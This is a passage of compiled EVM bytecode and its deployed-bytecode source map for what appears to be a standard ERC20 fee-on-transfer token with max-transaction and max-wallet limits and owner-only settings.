525081019061074891906115bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b991906115bb565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306107e9816104a1565b6000806107fe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610866573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061088b91906115d8565b5050600c546108a791506001600160a01b03163360001961093c565b600c54600b5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611606565b5050600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661099e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166109ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b038216610b265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b60008111610b885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b1565b6001600160a01b03831660009081526005602052604090205460ff16158015610bca57506001600160a01b03821660009081526005602052604090205460ff16155b15610d63576000600755600954600855600c546001600160a01b038481169116148015610c055750600b546001600160a01b03838116911614155b8015610c2a57506001600160a01b03821660009081526005602052604090205460ff16155b15610ce657600d54811115610c815760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b1565b600e5481610c8e846104a1565b610c98919061163e565b1115610ce65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b1565b6000610cf1306104a1565b600c54909150600160a81b900460ff16158015610d1c5750600c546001600160a01b03858116911614155b8015610d315750600c54600160b01b900460ff165b8015610d3d5750600081115b15610d5d57610d4b81610e7a565b478015610d5b57610d5b47610db8565b505b50610d6e565b600060078190556008555b610d79838383610ff4565b505050565b60008184841115610da25760405162461bcd60e51b81526004016103b19190611447565b506000610daf8486611651565b95945050505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610df2573d6000803e3d6000fd5b5050565b6000600654821115610e5d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b1565b6000610e67610fff565b9050610e738382611022565b9392505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ec257610ec2611664565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3f91906115bb565b81600181518110610f5257610f52611664565b6001600160a01b039283166020918202929092010152600b54610f78913091168461093c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fb190859060009086903090429060040161167a565b600060405180830381600087803b158015610fcb57600080fd5b505af1158015610fdf573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b610d79838383611064565b600080600061100c611159565b909250905061101b8282611022565b9250505090565b6000610e7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611197565b6000806000806000611075866111c5565b6001600160a01b038e16600090815260026020526040902054959a5093985091965094509092506110a891905086611222565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546110d79085611264565b6001600160a01b0388166000908152600260205260409020556110f9816112c3565b6111028361130d565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114791815260200190565b60405180910390a35050505050505050565b600654600090819066038d7ea4c680006111738282611022565b82101561118e5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836111b85760405162461bcd60e51b81526004016103b19190611447565b506000610daf84866116eb565b60008060008060008060008060006111e28a600754600854611320565b92509250925060006111f2610fff565b905060008060006112058e878787611375565b919e509c509a509598509396509194505050505091939550919395565b6000610e7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d7e565b600080611271838561163e565b905083811015610e735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b1565b60006112cd610fff565b905060006112db83836113c5565b306000908152600260205260409020549091506112f89082611264565b30600090815260026020526040902055505050565b60065461131a9082611222565b60065550565b600080808061133a606461133489896113c5565b90611022565b9050600061134d60646113348a896113c5565b905060006113658261135f8b86611222565b90611222565b9992985090965090945050505050565b600080808061138488866113c5565b9050600061139288876113c5565b905060006113a088886113c5565b905060006113b28261135f8686611222565b939b939a50919850919650505050505050565b6000826000036113d757506000610381565b60006113e3838561170d565b9050826113f085836116eb565b14610e735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b1565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461049e57600080fd5b600080604083850312156114bd57600080fd5b82356114c881611495565b946020939093013593505050565b6000602082840312156114e857600080fd5b8135610e7381611495565b60008060006060848603121561150857600080fd5b833561151381611495565b9250602084013561152381611495565b929592945050506040919091013590565b60006020828403121561154657600080fd5b5035919050565b6000806040838503121561156057600080fd5b823561156b81611495565b9150602083013561157b81611495565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115cd57600080fd5b8151610e7381611495565b6000806000606084860312156115ed57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561161857600080fd5b81518015158114610e7357600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561038157610381611628565b8181038181111561038157610381611628565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116ca5784516001600160a01b0316835293830193918301916001016116a5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261170857634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103815761038161162856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013c4f89140877d6bbaa1af6860856df5da8a232603bccb47b11339447a3371f364736f6c63430008130033

Deployed Bytecode Sourcemap

4633:9718:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6236:83;;;;;;;;;;-1:-1:-1;6306:5:0;;;;;;;;;;;-1:-1:-1;;;6306:5:0;;;;6236:83;;;;6306:5;6236:83;:::i;:::-;;;;;;;;7088:161;;;;;;;;;;-1:-1:-1;7088:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7088:161:0;1023:187:1;6513:95:0;;;;;;;;;;-1:-1:-1;5046:17:0;6513:95;;;1361:25:1;;;1349:2;1334:18;6513:95:0;1215:177:1;10195:109:0;;;;;;;;;;-1:-1:-1;10195:109:0;;;;;:::i;:::-;;:::i;:::-;;7257:313;;;;;;;;;;-1:-1:-1;7257:313:0;;;;;:::i;:::-;;:::i;6422:83::-;;;;;;;;;;-1:-1:-1;6422:83:0;;5501:1;2252:36:1;;2240:2;2225:18;6422:83:0;2110:184:1;5560:28:0;;;;;;;;;;-1:-1:-1;5560:28:0;;;;-1:-1:-1;;;;;5560:28:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5560:28:0;2299:203:1;14262:84:0;;;;;;;;;;-1:-1:-1;14262:84:0;;;;;:::i;:::-;;:::i;12374:189::-;;;;;;;;;;;;;:::i;6616:138::-;;;;;;;;;;-1:-1:-1;6616:138:0;;;;;:::i;:::-;;:::i;3714:148::-;;;;;;;;;;;;;:::i;9969:118::-;;;;;;;;;;;;;:::i;3500:79::-;;;;;;;;;;-1:-1:-1;3538:7:0;3565:6;-1:-1:-1;;;;;3565:6:0;3500:79;;6762:167;;;;;;;;;;-1:-1:-1;6762:167:0;;;;;:::i;:::-;;:::i;12176:190::-;;;;;;;;;;;;;:::i;10312:871::-;;;:::i;6937:143::-;;;;;;;;;;-1:-1:-1;6937:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7045:18:0;;;7018:7;7045:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6937:143;7088:161;7163:4;7180:39;1298:10;7203:7;7212:6;7180:8;:39::i;:::-;-1:-1:-1;7237:4:0;7088:161;;;;;:::o;10195:109::-;3627:6;;-1:-1:-1;;;;;3627:6:0;1298:10;3627:22;3619:67;;;;-1:-1:-1;;;3619:67:0;;;;;;;:::i;:::-;;;;;;;;;10267:10:::1;:29:::0;;-1:-1:-1;;;;;;10267:29:0::1;-1:-1:-1::0;;;;;10267:29:0;;;::::1;::::0;;;::::1;::::0;;10195:109::o;7257:313::-;7355:4;7372:36;7382:6;7390:9;7401:6;7372:9;:36::i;:::-;7419:121;7428:6;1298:10;7450:89;7488:6;7450:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7450:19:0;;;;;;:11;:19;;;;;;;;1298:10;7450:33;;;;;;;;;;:37;:89::i;:::-;7419:8;:121::i;:::-;-1:-1:-1;7558:4:0;7257:313;;;;;:::o;14262:84::-;3627:6;;-1:-1:-1;;;;;3627:6:0;1298:10;3627:22;3619:67;;;;-1:-1:-1;;;3619:67:0;;;;;;;:::i;:::-;14322:7:::1;:16:::0;14262:84::o;12374:189::-;12440:10;;-1:-1:-1;;;;;12440:10:0;1298;-1:-1:-1;;;;;12424:26:0;;12416:35;;;;;;12491:21;12523:32;12491:21;12523:12;:32::i;:::-;12405:158;12374:189::o;6616:138::-;-1:-1:-1;;;;;6729:16:0;;6682:7;6729:16;;;:7;:16;;;;;;6709:37;;:19;:37::i;3714:148::-;3627:6;;-1:-1:-1;;;;;3627:6:0;1298:10;3627:22;3619:67;;;;-1:-1:-1;;;3619:67:0;;;;;;;:::i;:::-;3821:1:::1;3805:6:::0;;3784:40:::1;::::0;-1:-1:-1;;;;;3805:6:0;;::::1;::::0;3784:40:::1;::::0;3821:1;;3784:40:::1;3852:1;3835:19:::0;;-1:-1:-1;;;;;;3835:19:0::1;::::0;;3714:148::o;9969:118::-;3627:6;;-1:-1:-1;;;;;3627:6:0;1298:10;3627:22;3619:67;;;;-1:-1:-1;;;3619:67:0;;;;;;;:::i;:::-;5046:17:::1;10022:12;:22:::0;;;10055:14:::1;:24:::0;9969:118::o;6762:167::-;6840:4;6857:42;1298:10;6881:9;6892:6;6857:9;:42::i;12176:190::-;12242:10;;-1:-1:-1;;;;;12242:10:0;1298;-1:-1:-1;;;;;12226:26:0;;12218:35;;;;;;12264:23;12290:24;12308:4;12290:9;:24::i;:::-;12264:50;;12325:33;12342:15;12325:16;:33::i;10312:871::-;3627:6;;-1:-1:-1;;;;;3627:6:0;1298:10;3627:22;3619:67;;;;-1:-1:-1;;;3619:67:0;;;;;;;:::i;:::-;10384:11:::1;::::0;-1:-1:-1;;;10384:11:0;::::1;;;10383:12;10375:47;;;::::0;-1:-1:-1;;;10375:47:0;;3648:2:1;10375:47:0::1;::::0;::::1;3630:21:1::0;3687:2;3667:18;;;3660:30;3726:25;3706:18;;;3699:53;3769:18;;10375:47:0::1;3446:347:1::0;10375:47:0::1;10578:15;:34:::0;;-1:-1:-1;;;;;;10578:34:0::1;10504:42;10578:34:::0;;::::1;::::0;;;10623:58:::1;10640:4;10504:42:::0;5046:17:::1;10623:8;:58::i;:::-;10736:16;-1:-1:-1::0;;;;;10736:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10718:56:0::1;;10783:4;10790:16;-1:-1:-1::0;;;;;10790:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10718:96;::::0;-1:-1:-1;;;;;;10718:96:0::1;::::0;;;;;;-1:-1:-1;;;;;4284:15:1;;;10718:96:0::1;::::0;::::1;4266:34:1::0;4336:15;;4316:18;;;4309:43;4201:18;;10718:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10702:13;:112:::0;;-1:-1:-1;;;;;;10702:112:0::1;-1:-1:-1::0;;;;;10702:112:0;;::::1;;::::0;;10825:15:::1;::::0;::::1;:31;10864:21;10895:4;10901:24;10895:4:::0;10901:9:::1;:24::i;:::-;10926:1;10928::::0;10930:7:::1;3538::::0;3565:6;-1:-1:-1;;;;;3565:6:0;;3500:79;10930:7:::1;10825:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10825:129:0;;;-1:-1:-1;;;;;4722:15:1;;;10825:129:0::1;::::0;::::1;4704:34:1::0;4754:18;;;4747:34;;;;4797:18;;;4790:34;;;;4840:18;;;4833:34;4904:15;;;4883:19;;;4876:44;10938:15:0::1;4936:19:1::0;;;4929:35;4638:19;;10825:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10982:13:0::1;::::0;10965:60:::1;::::0;-1:-1:-1;;;;;;10982:13:0::1;10998:10;-1:-1:-1::0;;10965:8:0::1;:60::i;:::-;11043:13;::::0;11074:15:::1;::::0;11036:71:::1;::::0;-1:-1:-1;;;11036:71:0;;-1:-1:-1;;;;;11074:15:0;;::::1;11036:71;::::0;::::1;5460:51:1::0;-1:-1:-1;;5527:18:1;;;5520:34;11043:13:0;::::1;::::0;11036:29:::1;::::0;5433:18:1;;11036:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11128:11:0::1;:18:::0;;-1:-1:-1;;;;11157:18:0;-1:-1:-1;;;11157:18:0;;;10312:871::o;7840:335::-;-1:-1:-1;;;;;7933:19:0;;7925:68;;;;-1:-1:-1;;;7925:68:0;;6049:2:1;7925:68:0;;;6031:21:1;6088:2;6068:18;;;6061:30;6127:34;6107:18;;;6100:62;-1:-1:-1;;;6178:18:1;;;6171:34;6222:19;;7925:68:0;5847:400:1;7925:68:0;-1:-1:-1;;;;;8012:21:0;;8004:68;;;;-1:-1:-1;;;8004:68:0;;6454:2:1;8004:68:0;;;6436:21:1;6493:2;6473:18;;;6466:30;6532:34;6512:18;;;6505:62;-1:-1:-1;;;6583:18:1;;;6576:32;6625:19;;8004:68:0;6252:398:1;8004:68:0;-1:-1:-1;;;;;8083:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8135:32;;1361:25:1;;;8135:32:0;;1334:18:1;8135:32:0;;;;;;;7840:335;;;:::o;8183:1287::-;-1:-1:-1;;;;;8271:18:0;;8263:68;;;;-1:-1:-1;;;8263:68:0;;6857:2:1;8263:68:0;;;6839:21:1;6896:2;6876:18;;;6869:30;6935:34;6915:18;;;6908:62;-1:-1:-1;;;6986:18:1;;;6979:35;7031:19;;8263:68:0;6655:401:1;8263:68:0;-1:-1:-1;;;;;8350:16:0;;8342:64;;;;-1:-1:-1;;;8342:64:0;;7263:2:1;8342:64:0;;;7245:21:1;7302:2;7282:18;;;7275:30;7341:34;7321:18;;;7314:62;-1:-1:-1;;;7392:18:1;;;7385:33;7435:19;;8342:64:0;7061:399:1;8342:64:0;8434:1;8425:6;:10;8417:64;;;;-1:-1:-1;;;8417:64:0;;7667:2:1;8417:64:0;;;7649:21:1;7706:2;7686:18;;;7679:30;7745:34;7725:18;;;7718:62;-1:-1:-1;;;7796:18:1;;;7789:39;7845:19;;8417:64:0;7465:405:1;8417:64:0;-1:-1:-1;;;;;8499:24:0;;;;;;:18;:24;;;;;;;;8498:25;:52;;;;-1:-1:-1;;;;;;8528:22:0;;;;;;:18;:22;;;;;;;;8527:23;8498:52;8494:926;;;8584:1;8567:14;:18;8607:7;;8600:4;:14;8641:13;;-1:-1:-1;;;;;8633:21:0;;;8641:13;;8633:21;:55;;;;-1:-1:-1;8672:15:0;;-1:-1:-1;;;;;8658:30:0;;;8672:15;;8658:30;;8633:55;:83;;;;-1:-1:-1;;;;;;8694:22:0;;;;;;:18;:22;;;;;;;;8692:24;8633:83;8629:282;;;8755:12;;8745:6;:22;;8737:60;;;;-1:-1:-1;;;8737:60:0;;8077:2:1;8737:60:0;;;8059:21:1;8116:2;8096:18;;;8089:30;8155:27;8135:18;;;8128:55;8200:18;;8737:60:0;7875:349:1;8737:60:0;8850:14;;8840:6;8824:13;8834:2;8824:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8816:79;;;;-1:-1:-1;;;8816:79:0;;8693:2:1;8816:79:0;;;8675:21:1;8732:2;8712:18;;;8705:30;8771:28;8751:18;;;8744:56;8817:18;;8816:79:0;8491:350:1;8816:79:0;8927:28;8958:24;8976:4;8958:9;:24::i;:::-;9002:6;;8927:55;;-1:-1:-1;;;;9002:6:0;;;;9001:7;:32;;;;-1:-1:-1;9020:13:0;;-1:-1:-1;;;;;9012:21:0;;;9020:13;;9012:21;;9001:32;:47;;;;-1:-1:-1;9037:11:0;;-1:-1:-1;;;9037:11:0;;;;9001:47;:73;;;;;9073:1;9052:20;:22;9001:73;8997:344;;;9095:38;9112:20;9095:16;:38::i;:::-;9181:21;9224:22;;9221:105;;9271:35;9284:21;9271:12;:35::i;:::-;9076:265;8997:344;8552:800;8494:926;;;9386:1;9369:14;:18;;;9400:4;:8;8494:926;9432:30;9447:4;9452:2;9455:6;9432:14;:30::i;:::-;8183:1287;;;:::o;2355:190::-;2441:7;2477:12;2469:6;;;;2461:29;;;;-1:-1:-1;;;2461:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2501:9:0;2513:5;2517:1;2513;:5;:::i;:::-;2501:17;2355:190;-1:-1:-1;;;;;2355:190:0:o;10095:92::-;10152:10;;:27;;-1:-1:-1;;;;;10152:10:0;;;;:27;;;;;10172:6;;10152:10;:27;:10;:27;10172:6;10152:10;:27;;;;;;;;;;;;;;;;;;;;;10095:92;:::o;7578:254::-;7645:7;7684;;7673;:18;;7665:73;;;;-1:-1:-1;;;7665:73:0;;9181:2:1;7665:73:0;;;9163:21:1;9220:2;9200:18;;;9193:30;9259:34;9239:18;;;9232:62;-1:-1:-1;;;9310:18:1;;;9303:40;9360:19;;7665:73:0;8979:406:1;7665:73:0;7749:19;7772:10;:8;:10::i;:::-;7749:33;-1:-1:-1;7800:24:0;:7;7749:33;7800:11;:24::i;:::-;7793:31;7578:254;-1:-1:-1;;;7578:254:0:o;9478:483::-;5894:6;:13;;-1:-1:-1;;;;5894:13:0;-1:-1:-1;;;5894:13:0;;;9580:16:::1;::::0;;9594:1:::1;9580:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9580:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9580:16:0::1;9556:40;;9625:4;9607;9612:1;9607:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9607:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9651:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9651:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9607:7;;9651:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9641:4;9646:1;9641:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9641:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9716:15:::1;::::0;9684:62:::1;::::0;9701:4:::1;::::0;9716:15:::1;9734:11:::0;9684:8:::1;:62::i;:::-;9757:15;::::0;:196:::1;::::0;-1:-1:-1;;;9757:196:0;;-1:-1:-1;;;;;9757:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9838:11;;9757:15:::1;::::0;9880:4;;9907::::1;::::0;9927:15:::1;::::0;9757:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5930:6:0;:14;;-1:-1:-1;;;;5930:14:0;;;-1:-1:-1;;;;9478:483:0:o;11191:146::-;11285:44;11303:6;11311:9;11322:6;11285:17;:44::i;13827:163::-;13868:7;13889:15;13906;13925:19;:17;:19::i;:::-;13888:56;;-1:-1:-1;13888:56:0;-1:-1:-1;13962:20:0;13888:56;;13962:11;:20::i;:::-;13955:27;;;;13827:163;:::o;2807:132::-;2865:7;2892:39;2896:1;2899;2892:39;;;;;;;;;;;;;;;;;:3;:39::i;11345:469::-;11444:15;11461:23;11486:12;11500:23;11527:13;11544:19;11555:7;11544:10;:19::i;:::-;-1:-1:-1;;;;;11592:15:0;;;;;;:7;:15;;;;;;11443:120;;-1:-1:-1;11443:120:0;;-1:-1:-1;11443:120:0;;-1:-1:-1;11443:120:0;-1:-1:-1;11443:120:0;;-1:-1:-1;11592:28:0;;:15;-1:-1:-1;11443:120:0;11592:19;:28::i;:::-;-1:-1:-1;;;;;11574:15:0;;;;;;;:7;:15;;;;;;:46;;;;11652:18;;;;;;;:39;;11675:15;11652:22;:39::i;:::-;-1:-1:-1;;;;;11631:18:0;;;;;;:7;:18;;;;;:60;11702:16;11712:5;11702:9;:16::i;:::-;11729:17;11741:4;11729:11;:17::i;:::-;11779:9;-1:-1:-1;;;;;11762:44:0;11771:6;-1:-1:-1;;;;;11762:44:0;;11790:15;11762:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;11762:44:0;;;;;;;;11432:382;;;;;11345:469;;;:::o;13998:256::-;14095:7;;14048;;;;5046:17;14163:20;14095:7;5046:17;14163:11;:20::i;:::-;14153:7;:30;14149:61;;;-1:-1:-1;;14193:7:0;;;5046:17;;-1:-1:-1;13998:256:0;-1:-1:-1;13998:256:0:o;14149:61::-;14229:7;;14238;;-1:-1:-1;13998:256:0;-1:-1:-1;13998:256:0:o;2947:189::-;3033:7;3068:12;3061:5;3053:28;;;;-1:-1:-1;;;3053:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3092:9:0;3104:5;3108:1;3104;:5;:::i;12573:471::-;12632:7;12641;12650;12659;12668;12677;12698:23;12723:12;12737:13;12754:42;12766:7;12775:14;;12791:4;;12754:11;:42::i;:::-;12697:99;;;;;;12807:19;12830:10;:8;:10::i;:::-;12807:33;;12852:15;12869:23;12894:12;12910:46;12922:7;12931:4;12937:5;12944:11;12910;:46::i;:::-;12851:105;;-1:-1:-1;12851:105:0;-1:-1:-1;12851:105:0;-1:-1:-1;13007:15:0;;-1:-1:-1;13024:4:0;;-1:-1:-1;13030:5:0;;-1:-1:-1;;;;;12573:471:0;;;;;;;:::o;2211:136::-;2269:7;2296:43;2300:1;2303;2296:43;;;;;;;;;;;;;;;;;:3;:43::i;2024:179::-;2082:7;;2114:5;2118:1;2114;:5;:::i;:::-;2102:17;;2143:1;2138;:6;;2130:46;;;;-1:-1:-1;;;2130:46:0;;11063:2:1;2130:46:0;;;11045:21:1;11102:2;11082:18;;;11075:30;11141:29;11121:18;;;11114:57;11188:18;;2130:46:0;10861:351:1;11822:212:0;11875:19;11898:10;:8;:10::i;:::-;11875:33;-1:-1:-1;11919:13:0;11935:22;:5;11875:33;11935:9;:22::i;:::-;12009:4;11993:22;;;;:7;:22;;;;;;11919:38;;-1:-1:-1;11993:33:0;;11919:38;11993:26;:33::i;:::-;11984:4;11968:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11822:212:0:o;12042:89::-;12106:7;;:17;;12118:4;12106:11;:17::i;:::-;12096:7;:27;-1:-1:-1;12042:89:0:o;13052:351::-;13145:7;;;;13198:28;13222:3;13198:19;:7;13210:6;13198:11;:19::i;:::-;:23;;:28::i;:::-;13183:43;-1:-1:-1;13237:13:0;13253:29;13278:3;13253:20;:7;13265;13253:11;:20::i;:29::-;13237:45;-1:-1:-1;13293:23:0;13319:28;13237:45;13319:17;:7;13331:4;13319:11;:17::i;:::-;:21;;:28::i;:::-;13293:54;13383:4;;-1:-1:-1;13389:5:0;;-1:-1:-1;13052:351:0;;-1:-1:-1;;;;;13052:351:0:o;13411:409::-;13521:7;;;;13577:24;:7;13589:11;13577;:24::i;:::-;13559:42;-1:-1:-1;13612:12:0;13627:21;:4;13636:11;13627:8;:21::i;:::-;13612:36;-1:-1:-1;13659:13:0;13675:22;:5;13685:11;13675:9;:22::i;:::-;13659:38;-1:-1:-1;13708:23:0;13734:28;13659:38;13734:17;:7;13746:4;13734:11;:17::i;:28::-;13781:7;;;;-1:-1:-1;13807:4:0;;-1:-1:-1;13411:409:0;;-1:-1:-1;;;;;;;13411:409:0:o;2553:246::-;2611:7;2635:1;2640;2635:6;2631:47;;-1:-1:-1;2665:1:0;2658:8;;2631:47;2688:9;2700:5;2704:1;2700;:5;:::i;:::-;2688:17;-1:-1:-1;2733:1:0;2724:5;2728:1;2688:17;2724:5;:::i;:::-;:10;2716:56;;;;-1:-1:-1;;;2716:56:0;;11592:2:1;2716:56:0;;;11574:21:1;11631:2;11611:18;;;11604:30;11670:34;11650:18;;;11643:62;-1:-1:-1;;;11721:18:1;;;11714:31;11762:19;;2716:56:0;11390:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3798:251::-;3868:6;3921:2;3909:9;3900:7;3896:23;3892:32;3889:52;;;3937:1;3934;3927:12;3889:52;3969:9;3963:16;3988:31;4013:5;3988:31;:::i;4975:306::-;5063:6;5071;5079;5132:2;5120:9;5111:7;5107:23;5103:32;5100:52;;;5148:1;5145;5138:12;5100:52;5177:9;5171:16;5161:26;;5227:2;5216:9;5212:18;5206:25;5196:35;;5271:2;5260:9;5256:18;5250:25;5240:35;;4975:306;;;;;:::o;5565:277::-;5632:6;5685:2;5673:9;5664:7;5660:23;5656:32;5653:52;;;5701:1;5698;5691:12;5653:52;5733:9;5727:16;5786:5;5779:13;5772:21;5765:5;5762:32;5752:60;;5808:1;5805;5798:12;8229:127;8290:10;8285:3;8281:20;8278:1;8271:31;8321:4;8318:1;8311:15;8345:4;8342:1;8335:15;8361:125;8426:9;;;8447:10;;;8444:36;;;8460:18;;:::i;8846:128::-;8913:9;;;8934:11;;;8931:37;;;8948:18;;:::i;9522:127::-;9583:10;9578:3;9574:20;9571:1;9564:31;9614:4;9611:1;9604:15;9638:4;9635:1;9628:15;9654:980;9916:4;9964:3;9953:9;9949:19;9995:6;9984:9;9977:25;10021:2;10059:6;10054:2;10043:9;10039:18;10032:34;10102:3;10097:2;10086:9;10082:18;10075:31;10126:6;10161;10155:13;10192:6;10184;10177:2